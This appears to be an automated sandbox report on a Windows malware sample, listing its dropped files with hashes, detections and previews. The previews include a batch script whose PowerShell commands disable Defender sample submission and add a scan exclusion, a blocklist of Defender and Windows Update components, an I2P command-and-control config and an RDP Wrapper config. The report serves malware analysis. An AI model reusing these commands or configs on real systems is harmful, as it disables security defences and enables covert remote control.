MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bve0xv0w.us1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ed5mc5d3.z0v.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ehrvzxob.ei0.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fw5hk03r.t2i.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gsht1fvf.0aa.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hxbmpesz.ard.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kyaq4g54.r3a.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_p2v2kv4f.str.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pcorr3co.ktf.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qnu01wb5.dav.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sudvv4g0.pno.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\installer.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\yhar2he6rpt6n0h1w6rh.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	3747
Entropy (8bit):	5.505268066587477
Encrypted:	false
SSDEEP:	96:ildJ9VjDT0HU0Hn0H1V40Hu0H+kQHR3WPOaI0HNVH4/HNx0HltHn:03THT000H0740O0TQxmPOaI0tV+v0FtH
MD5:	83E03316D6195F194123C52235E93D72
SHA1:	AB5D30FC5574858F764CF184D78C1BF5AFB9E865
SHA-256:	A78DE1C60587C9498365DE7F7C93608DA76BDE226FE7900CECE0073AD963B511
SHA-512:	01D5E33F87729A0CB0BCC5C2435B2B516DA7AE0D278721F9664694BC77B117110A3B37711E76A6DE0967CF60E0E981ECC5FCE47DFDF6A60C58BA74289A2B1A17
Malicious:	false
Preview:	[I] (debug_init) -> Log open success(flog_path=C:\Users\user~1\AppData\Local\Temp\installer.log)..[I] (debug_init) -> Done..[I] (module_load) -> Done(name=ntdll.dll,ret=0x00007ffb2ce30000)..[D] (module_get_proc) -> Done(hnd=0x00007ffb2ce30000,name=RtlGetVersion,ret=0x00007ffb2ce6e520)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_win_dir=C:\Windows)..[D] (registry_get_value) -> Done(root=0xffffffff80000002,key=SOFTWARE\Microsoft\Cryptography,param=MachineGuid)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_mach_guid=9e146be9-c76a-4720-bcdb-53011b87bd06)..[I] (sys_init) -> GetVolumeInformationA done(vol=C:\,vol_sn=39014b7a)..[I] (sys_init) -> Done(sys_uid=c76a8f0839014b7a,sys_os_ver=10.0.19045.0.0)..[I] (net_init) -> Done..[I] (fs_path_expand) -> Done(path=%PUBLIC%,xpath=C:\Users\Public,xpath_sz=15)..[I] (fs_dir_create) -> Done(path=C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\,recursive=1)..[D] (fs_attr_get) -> Done(path=C:\Users\Public\Computer.{20d04fe0-3aea

C:\Users\user\AppData\Local\Temp\lr75sq5smrngkif9fpn.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	6.298274541598319
Encrypted:	false
SSDEEP:	1536:EJm0mRQUtrg7DYy+F2aQuuvL7V0Y91n1ot:EJmjSUtMiF2suvVr11ot
MD5:	319865D78CC8DF6270E27521B8182BFF
SHA1:	716E70B00AA2D154367028DE896C7D76C9D24350
SHA-256:	A78945E7532ECDB29B9448A1F3EEF2F45EC2F01CA070B9868258CBCD31EAC23F
SHA-512:	78CD48C8BA558DFFC204A70DBFF13889984F80F268A715FEC7FC018A7718A11822975F775D44A927C5815AA2CCC0D78502264354BF5D8C0502B5A0A323948611
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................(.....\|.................@....................................#7....`... ..............................................................................................................a..(....................... ............................text...............................`..`.data...............................@....rdata...R... ...T..................@..@.pdata...............R..............@..@.xdata...............\..............@..@.bss....0................................idata...............f..............@....CRT....`............z..............@....tls.................\|..............@....reloc...............~..............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\sobuolvnbi3uboa4e.bat

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	DOS batch file, ASCII text
Category:	dropped
Size (bytes):	259
Entropy (8bit):	4.933902901538645
Encrypted:	false
SSDEEP:	6:hJKBnm61gV/eGgLSzomkNgBnm61gV/eGgVPgBnm61PeGgdEYJgrWy+5:unm0gViLUomqsnm0gViaBnm0SuQgrWt
MD5:	261A842203ADB67547C83DE132C7A076
SHA1:	6C1A1112D2797E2E66AA5238F00533CD4EB77B3D
SHA-256:	49ADF0FC74600629F12ADF366ECBACDFF87B24E7F2C8DEA532EA074690EF5F84
SHA-512:	7787C5F10EC18B8970F22B26F5BB82C4A299928EDB116A0B92FB000F2A141CCB4C8BCAB3AB91D5E3277ABDA8F2D6FE80434E4AEF5EE8A5CD3223CFB9989A6337
Malicious:	false
Preview:	@echo off..powershell.exe -NoLogo -Command "Set-MpPreference -SubmitSamplesConsent NeverSend".powershell.exe -NoLogo -Command "Set-MpPreference -MAPSReporting 0".powershell.exe -NoLogo -Command "Add-MpPreference -ExclusionPath '%HOMEDRIVE%\Users\'"..exit 1

C:\Users\user\AppData\Local\Temp\wfpblk.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\lr75sq5smrngkif9fpn.exe
File Type:	Generic INItialization configuration [svc]
Category:	dropped
Size (bytes):	195
Entropy (8bit):	4.692426693515089
Encrypted:	false
SSDEEP:	3:PCLtupyhdA5A1XJy31ae0CYUAM9t2X0DwL1Uy/5ookVqEfokH2VmM74osLSgRUYp:PItZLJ4aZC9b/EhUyBjZBkWESqj
MD5:	E025B58CB2D118FAFAE00850EE91C5F9
SHA1:	DD23CE328F593AF74455F2C2F805B662466A1205
SHA-256:	897FC59CEDFBCAFDB9D0BEFEE9FC21A1B4C61259992A40F1986921E406E36340
SHA-512:	5CD3F72CB1FF5754F3329A1EF1C7D45826BE48540AAD60FC55B91C7EFDCBBEF8B6BEB66ED7E2CF338348CE3C43DE2C8B2C0E72C681A8C314ADBAE0F844C7B7EF
Malicious:	false
Preview:	[app]..MsMpEng.exe=1..MsSense.exe=1..SenseIR.exe=1..SenseNdr.exe=1..SenseCncProxy.exe=1..SenseSampleUploader.exe=1..[svc]..wuauserv=1..DoSvc=1..UsoSvc=1..WaaSMedicSvc=1..[ip4]..54.243.255.141=1..

C:\Users\user\AppData\Local\Temp\wfpblk.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\lr75sq5smrngkif9fpn.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	23779
Entropy (8bit):	5.126563091127519
Encrypted:	false
SSDEEP:	384:2bbEbNQ6s69WS8vv88o888888888888888j888888888888e888888808888888K:2bbEbNQ6s69WS8vv88o888888888888V
MD5:	3F3FAE262334D88DAA426A685B8FC9BD
SHA1:	72DDB4C3C901552038C0AA26B7B12023F2CD3453
SHA-256:	AE53045EEF4D46057CF0CC5010A2B185D4B0B4BA033010537382686D6F002B88
SHA-512:	AC6275A7B864D66AC8729B10ECA9ED54A3DF19BDCD4BE29DE5BC5F9075A531606F06DBDC5C81B99DB611C97370B063E5931DAAA79FB5BFCBA0AB4A229864F8B1
Malicious:	false
Preview:	[I] (debug_init) -> Log open success(flog_path=C:\Users\user~1\AppData\Local\Temp\wfpblk.log)..[I] (debug_init) -> Done..[I] (fs_file_write) -> Done(path=C:\Users\user~1\AppData\Local\Temp\wfpblk.ini,mode=wb,buf_sz=195)..[I] (fs_file_read) -> Done(path=C:\Users\user~1\AppData\Local\Temp\wfpblk.ini,buf_sz=195)..[I] (ini_load) -> Done(path=C:\Users\user~1\AppData\Local\Temp\wfpblk.ini)..[D] (ini_get_sec) -> Done(name=app)..[D] (ini_get_sec) -> Done(name=app)..[D] (ini_get_sec) -> Done(name=app)..[W] (ini_get_var) -> Failed(sec=app,name=[System Process],err=00000003)..[D] (ini_get_sec) -> Done(name=app)..[W] (ini_get_var) -> Failed(sec=app,name=System,err=00000003)..[D] (ini_get_sec) -> Done(name=app)..[W] (ini_get_var) -> Failed(sec=app,name=Registry,err=00000003)..[D] (ini_get_sec) -> Done(name=app)..[W] (ini_get_var) -> Failed(sec=app,name=smss.exe,err=00000003)..[D] (ini_get_sec) -> Done(name=app)..[W] (ini_get_var) -> Failed(sec=app,name=csrss.exe,err=00000003)..[D] (ini_get_

C:\Users\user\AppData\Local\Temp\yhar2he6rpt6n0h1w6rh.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	modified
Size (bytes):	10639360
Entropy (8bit):	7.4147455331909855
Encrypted:	false
SSDEEP:	196608:PE1LTxbO313norADHLHhHiVulZ/KHNV4G:PyxbOFC8b/KtV4
MD5:	7D1755E8E41A6C2F08D2FAEFFDF9DAD1
SHA1:	C04D89F1054F2EE34B548126A5ADD4EEE4751AE4
SHA-256:	44CF4321C138C4CACECC95DEBA735F508C96049E7F0E8F0538684DC4F0C1E9A5
SHA-512:	B099238838B0D8B258529126B3C279AC735FEFF778D52C3117EB3CD587267A145A09BC1317FB412B2C810EA8B2232A8218FE459E33AC99F9B48DECFDC62E4816
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 19%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................(.....T.................@...................................a.....`... ..............................................................@..d...........................................`/..(....................................................text...(...........................`..`.data.............................@....rdata...^......`.................@..@.pdata..d....@.......(..............@..@.xdata.......P.......2..............@..@.bss....p....`...........................idata...............<..............@....CRT....`............R..............@....tls.................T..............@....reloc...............V..............@..B................................................................................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\MpCmdRun.log

Download File

Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	modified
Size (bytes):	2464
Entropy (8bit):	3.2433536798164977
Encrypted:	false
SSDEEP:	24:QOaqdmuF3rk6+kWReHgHttUKlDENh+pyMySn6tUKlDENh+pyMySwwIPVxcwIPVxU:FaqdF7k6+AAHdKoqKFxcxkFaE
MD5:	9F110999AD02EB9D440A4C249AB593A9
SHA1:	A3E1B78216E6458FDF90F93CCB33F75F922EF1B0
SHA-256:	451477A217A9A3DC5553589D6EFB1A48B151A10258BFBA2402F0A7F0F4B896FD
SHA-512:	07EEC9D8860B88D12DA33911F2B97E111470623DFC8968630E68B5A057215DA90CA46ABC27ADA539255202950798F1512BC6B681B8E698F6901E5D09735B462A
Malicious:	false
Preview:	..........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.m.p.c.m.d.r.u.n...e.x.e.". .-.w.d.e.n.a.b.l.e..... .S.t.a.r.t. .T.i.m.e.:. .. T.u.e. .. S.e.p. .. 2.4. .. 2.0.2.4. .2.0.:.3.1.:.0.6.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....W.D.E.n.a.b.l.e........................................ .W.S.C. .S.t.a.t.e. .I.n.f.o. ................................................................. .A.n.t.i.V.i.r.u.s.P.r.o.d.u.c.t. ..............................d.i.s.p.l.a.y.N.a.m.e. .=. .[.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.].....p.a.t.h.T.o.S.i.g.n.e.d.P.r.o.d.u.c.t.E.x.e. .=. .[.w.i.n.d.o.w.s.d.

C:\Windows\Temp\DuClQFqs

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8568
Entropy (8bit):	4.958673415285098
Encrypted:	false
SSDEEP:	96:e+I8WTr7LjdL33ZqPDNLWBsaBMG+xv9G86UJ5TMmyvmyLKkfUZleZnE/Ndm/7CIg:e+I8Mr7VtXl1zrrIqEVdm/7CItWR0SX
MD5:	27535CEE6740DFC50A78A0322415E67C
SHA1:	E80541CF15C8ED4C5EEDA8D8C24674A5B8A27F61
SHA-256:	FB0CDBF4E0215AE1866E97860C2AC3DD96E7498BFE2AF3D82378041CDFF7F292
SHA-512:	25F11A8262B5A2F59BD6C9D8673B5AD5A140EAE8C007244810B2924EB08B5CF54AE19E61BE5139319877278D11868BBD85BD2E6C67F5FAD4E2A458E2844EBC0C
Malicious:	false
Preview:	## Configuration file for a typical i2pd user.## See https://i2pd.readthedocs.io/en/latest/user-guide/configuration/.## for more options you can use in this file...## Lines that begin with "## " try to explain what's going on. Lines.## that begin with just "#" are disabled commands: you can enable them.## by removing the "#" symbol...## Tunnels config file.## Default: ~/.i2pd/tunnels.conf or /var/lib/i2pd/tunnels.conf.# tunconf = /var/lib/i2pd/tunnels.conf..## Tunnels config files path.## Use that path to store separated tunnels in different config files..## Default: ~/.i2pd/tunnels.d or /var/lib/i2pd/tunnels.d.# tunnelsdir = /var/lib/i2pd/tunnels.d..## Path to certificates used for verifying .su3, families.## Default: ~/.i2pd/certificates or /var/lib/i2pd/certificates.# certsdir = /var/lib/i2pd/certificates..## Where to write pidfile (default: /run/i2pd.pid, not used in Windows).# pidfile = /run/i2pd.pid..## Logging configuration section.## By default logs go to stdout with level 'inf

C:\Windows\Temp\FnTbqLf9

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	Generic INItialization configuration [cnccli]
Category:	dropped
Size (bytes):	214
Entropy (8bit):	5.0997449470012635
Encrypted:	false
SSDEEP:	6:1EVQLD4oeMuJO+70X1YIzODSVkXpTRL9gWVUDeLn:CjogJO+70X1YeCS2X9vgpKL
MD5:	26702FAAB91B6B144715714A96728F39
SHA1:	CBDC34FC8FD3559CD49475FB5BC76176A5F88FF8
SHA-256:	83D30846DD5576DE38A512B17163419D22FF35F2F5B0FE613C401E8A5A25B7A4
SHA-512:	50D35D3DCD60B6E57C1A277E6C3E7AFBB5C2B46425732FC5A9FD3C0A55FEBF5AB3F05411A83CEC230AAC40199774FF78F30848D57D1E04A11B9E60777B038289
Malicious:	false
Preview:	[main]..version=400004957b19a09d..[cnccli]..server_host=c21a8709..server_port=41674..server_timeo=15000..i2p_try_num=10..i2p_sam3_timeo=30000..i2p_addr=2lyi6mgj6tn4eexl6gwnujwfycmq7dcus2x42petanvpwpjlqrhq.b32.i2p..

C:\Windows\Temp\Q15cUjlG

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	Generic INItialization configuration [SLPolicy]
Category:	dropped
Size (bytes):	441513
Entropy (8bit):	5.449545529389614
Encrypted:	false
SSDEEP:	768:yUoDQVQpXQq4WDi9SUnpB8fbQnxJcy8RMFdKKb8x8Rr/d6gl/+f8jZ0ftlFn4m7N:eJGYB33L+MUIiG4IvREWddadl/Fy/k9u
MD5:	5FCB4B6362E04A8D1C6ECD33AD246FB9
SHA1:	E198D3E81C4B8527451133BCEAFA799D2115A8BB
SHA-256:	060EE1BCB5817709F2D73BB1762C5ABCA09FAF5271E8F90503A84F9657ECDCD9
SHA-512:	B5839D79D1A34DA86BA9B34A9105F7CC05E642C99D84D55E3E88833544DCE9FDD840F7ABF0F09CD4470734F24CA7C600C3C64E4041A4481806590D3B7A6A032D
Malicious:	false
Preview:	; RDP Wrapper Library configuration..; Do not modify without special knowledge..; Edited by sebaxakerhtc....[Main]..Updated=2024-08-21..LogFile=\rdpwrap.txt..SLPolicyHookNT60=1..SLPolicyHookNT61=1....[SLPolicy]..TerminalServices-RemoteConnectionManager-AllowRemoteConnections=1..TerminalServices-RemoteConnectionManager-AllowMultipleSessions=1..TerminalServices-RemoteConnectionManager-AllowAppServerMode=1..TerminalServices-RemoteConnectionManager-AllowMultimon=1..TerminalServices-RemoteConnectionManager-MaxUserSessions=0..TerminalServices-RemoteConnectionManager-ce0ad219-4670-4988-98fb-89b14c2f072b-MaxSessions=0..TerminalServices-RemoteConnectionManager-45344fe7-00e6-4ac6-9f01-d01fd4ffadfb-MaxSessions=2..TerminalServices-RDP-7-Advanced-Compression-Allowed=1..TerminalServices-RemoteConnectionManager-45344fe7-00e6-4ac6-9f01-d01fd4ffadfb-LocalOnly=0..TerminalServices-RemoteConnectionManager-8dc86f1d-9969-4379-91c1-06fe1dc60575-MaxSessions=1000..TerminalServices-DeviceRedirection-Licenses-TS

C:\Windows\Temp\T9229YlC

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	37376
Entropy (8bit):	5.7181012847214445
Encrypted:	false
SSDEEP:	768:2aS6Ir6sXJaE5I2IaK3knhQ0NknriB0dX5mkOpw:aDjDtKA0G0j5Opw
MD5:	E3E4492E2C871F65B5CEA8F1A14164E2
SHA1:	81D4AD81A92177C2116C5589609A9A08A5CCD0F2
SHA-256:	32FF81BE7818FA7140817FA0BC856975AE9FCB324A081D0E0560D7B5B87EFB30
SHA-512:	59DE035B230C9A4AD6A4EBF4BEFCD7798CCB38C7EDA9863BC651232DB22C7A4C2D5358D4D35551C2DD52F974A22EB160BAEE11F4751B9CA5BF4FB6334EC926C6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........qc..qc..qc......qc...`..qc...g..qc..qb..qc...b..qc...f..qc...c..qc...j..qc......qc...a..qc.Rich.qc.................PE..d...#............." .....Z...>.......]...............................................a....`A.........................................~..........@...............................\... x..T............................p...............q..P............................text....Y.......Z.................. ..`.rdata.......p.......^..............@..@.data...P............z..............@....pdata...............\|..............@..@.rsrc...............................@..@.reloc..\...........................@..B........................................................................................................................................................................................................................................................

C:\Windows\Temp\TLbqzKsW

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	9146880
Entropy (8bit):	6.674868432808522
Encrypted:	false
SSDEEP:	196608:DiRu5DnWLX6Cs3E1CPwDvt3uF8c339CME:DiRsCKCsU1CPwDvt3uFd9CME
MD5:	676064A5CC4729E609539F9C9BD9D427
SHA1:	F77BA3D5B6610B345BFD4388956C853B99C9EB60
SHA-256:	77D203E985A0BC72B7A92618487389B3A731176FDFC947B1D2EAD92C8C0E766B
SHA-512:	4C876E9C1474E321C94EA81058B503D695F2B5C9DCA9182C515F1AE6DE065099832FD0337D011476C553958808C7D6F748566734DEEE6AF1E74B45A690181D02
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......f..........."...).t]......R..0........................................P............`... .......................................z..t... ...,............p..?...........p...............................`m.(....................*...............................text...(r]......t].................`..`.data.........]......x].............@....rdata..`>...@^..@....^.............@..@.pdata...?....p..@...^p.............@..@.xdata...t....t..v....t.............@..@.bss....`Q...@z..........................edata...t....z..v....z.............@..@.idata...,... ......................@....CRT....`....P......................@....tls.........`......................@....reloc.......p......................@..B........................................................................................................................................................................

C:\Windows\Temp\UEptccWa

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	129024
Entropy (8bit):	6.313152038164236
Encrypted:	false
SSDEEP:	3072:Ex6tEkLvf8H5KRjus59IoZzhoesVR8ssT/nv:mEJ5qoZzfTX
MD5:	C89542ABA45CE1084760AE8DE6EAE09E
SHA1:	603560A3E4B6A8CB906CA98C907373ADBF4D3B1C
